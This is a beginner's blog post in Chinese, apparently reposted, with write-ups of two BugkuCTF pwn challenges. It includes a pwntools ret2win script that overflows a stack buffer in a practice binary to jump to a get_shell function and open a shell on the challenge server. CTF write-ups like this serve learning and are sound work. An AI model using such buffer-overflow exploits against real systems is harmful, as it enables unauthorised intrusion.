BugkuCTF pwn题第一弹

PWN1

BugkuCTF pwn题第一弹_第1张图片
这题没什么好说的,直接nc连接,然后ls获取文件目录,然后猫flag就可以得到flag了。

需要注意的是因为这题是新手入坑题,所以直接把flag放在flag文件下,一般情况下不排除其他文件有flag。

槽一句,虽然这题简单到不行,但是我也是看了别人的博客之后才发现自己有多无知,这么基础的东西都不会。
BugkuCTF pwn题第一弹_第2张图片

PWN2

BugkuCTF pwn题第一弹_第3张图片
这道题是有给文件的,那么我们先把文件下载下来分别保存到Ubuntu和主机。

首先我们尝试一下故技重施,nc一下看看会怎么样。
BugkuCTF pwn题第一弹_第4张图片
发现被这个程序嘲讽了,显然这题不是那么简单可以做的。这个时候我们就要用上我们下载好的工具了。
首先在Linux终端上checksec一下这个程序。
BugkuCTF pwn题第一弹_第5张图片
发现这个程序是64位的,那么我们将它拖入对应的ida中,然后找到main函数按下F5打开新世界。
BugkuCTF pwn题第一弹_第6张图片
通过观察这个程序的逻辑我们发现s这个变量申请了0x30个字节,但是下面read函数读取了s这个变量0x100个字节,所以这玩意是妥妥的栈溢出。
BugkuCTF pwn题第一弹_第7张图片
然后很巧的我们又发现了就在main函数下面有一个get_shell_函数,那我们肯定控制不住自己的手双击下去发现这个函数的地址是0x400751,先把这个地址记下来。
BugkuCTF pwn题第一弹_第8张图片
下面就是在gdb中打开pwn2,然后创建随机字符,并运行。
在这里插入图片描述
发现RBP段的字符被填充为bAA1AAGA,再利用这个字符计算出偏移量。
BugkuCTF pwn题第一弹_第9张图片在这里插入图片描述
然后根据偏移量写出脚本就可以了,下面是我仿照其他大佬写的脚本。


from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()

总结:

pwn2的思路就是想办法计算出get_shell_的地址偏移量,算出来之后就直接溢出到后门函数就行了。
对于个人来说,还需要加强对于堆栈的理解,还有编写脚本的相关知识。目前还是缺少做题经验,即使是对于这类简单问题依然没有思路,就是题目做得少的缘故,总结一下就是我还是萌新。

这是我的第一篇自己真正想写并写出来的博客,之前一直都有想要培养自己写博客的习惯,但是都是因为没有好好学习总结所以一直不知道要写什么。那么就以这篇博客作为我的秃头之路的里程碑吧!

你可能感兴趣的:(刷题笔记)